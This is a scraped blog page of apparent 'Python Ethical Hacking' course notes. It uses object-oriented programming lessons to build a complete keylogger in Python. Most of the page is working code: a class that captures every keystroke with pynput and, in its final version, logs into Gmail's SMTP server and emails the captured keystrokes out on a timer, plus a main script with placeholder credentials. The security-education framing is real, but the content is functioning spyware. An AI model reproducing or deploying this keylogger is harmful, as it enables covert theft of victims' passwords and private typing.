zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    Object-Oriented Programming

    Keylogger Classes

    • Way of modeling program(blueprint).
    • Logically group functions and data.
      • Makes code more readable.
      • More reusable.
      • Separate implementation from usage(encapsulation).
      • Easier to extend.
      • Easier to maintain.

    The Keylogger Class:

    #!/usr/bin/env python
    import threading
    
    import pynput.keyboard
    
    log = ""
    
    
    class Keylogger:
        def process_key_press(self, key):
            global log
            try:
                log = log + str(key.char)
            except AttributeError:
                if key == key.space:
                    log = log + " "
                else:
                    log = log + " " + str(key) + " "
    
        def report(self):
            global log
            print(log)
            log = ""
            timer = threading.Timer(10, self.report)
            timer.start()
    
        def start(self):
            keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
            with keyboard_listener:
                self.report()
                keyboard_listener.join()

    The main Python program calling the Keylogger Class:

    #!/usr/bin/env python
    import keylogger
    
    my_keylogger = keylogger.Keylogger()
    my_keylogger.start()

     Constructor Method & Instance Variables:

    • AKA initialization method.
    • Gets executed automatically when a class is created.
    #!/usr/bin/env python
    import threading
    
    import pynput.keyboard
    
    
    class Keylogger:
        def __init__(self):
            self.log = ""
    
        def append_to_log(self, string):
            self.log = self.log + string
    
        def process_key_press(self, key):
            try:
                current_key = str(key.char)
            except AttributeError:
                if key == key.space:
                    current_key = " "
                else:
                    current_key = " " + str(key) + " "
            self.append_to_log(current_key)
    
        def report(self):
            print(self.log)
            self.log = ""
            timer = threading.Timer(10, self.report)
            timer.start()
    
        def start(self):
            keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
            with keyboard_listener:
                self.report()
                keyboard_listener.join()

    Polish the Python Class Code once more to log Key-strikes and report them by email.

    #!/usr/bin/env python
    import threading
    import smtplib
    import pynput.keyboard
    
    
    class Keylogger:
        def __init__(self, time_interval, email, password):
            self.log = "Keylogger started"
            self.interval = time_interval
            self.email = email
            self.password = password
    
        def append_to_log(self, string):
            self.log = self.log + string
    
        def process_key_press(self, key):
            try:
                current_key = str(key.char)
            except AttributeError:
                if key == key.space:
                    current_key = " "
                else:
                    current_key = " " + str(key) + " "
            self.append_to_log(current_key)
    
        def report(self):
            print(self.log)
            self.send_mail(self.email, self.password, "
    
    " + self.log)
            self.log = ""
            timer = threading.Timer(self.interval, self.report)
            timer.start()
    
        def send_mail(self, email, password, message):
            server = smtplib.SMTP("smtp.gmail.com", 587)
            server.starttls()
            server.login(email, password)
            server.sendmail(email, email, message)
            server.quit()
    
        def start(self):
            keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
            with keyboard_listener:
                self.report()
                keyboard_listener.join()

    Main program:

    #!/usr/bin/env python
    import keylogger
    
    my_keylogger = keylogger.Keylogger(120, "aaaa@gmail.com", "12345678")
    my_keylogger.start()

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    pytorch-第一章基本操作-基本使用方法 (1.torch.empty, 2.torch.rand, 3.torch.zeros, 4.torch.tensor, 5.x.new_ones,6.torch.rand_like, 7.torch.randn, 8.torch.from_numpy, 9.x.view(改变维度))
    mysql学习入门-数据库中库,表和内容操作
    校园客户端(DR)启动后提示我们缺失packet.dll,无法正常启动(7)
    DR客户端一直连接服务器....(6)
    优盘提示插入多卷集的最后一卷解决办法(5)
    apt-get默认下载路径
    Qt嵌入式开发环境搭建
    Ubuntu重启关机命令使用
    Linux如何修改网络环境参数
    VMware内部错误解决办法
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11624365.html
Copyright © 2011-2022 走看看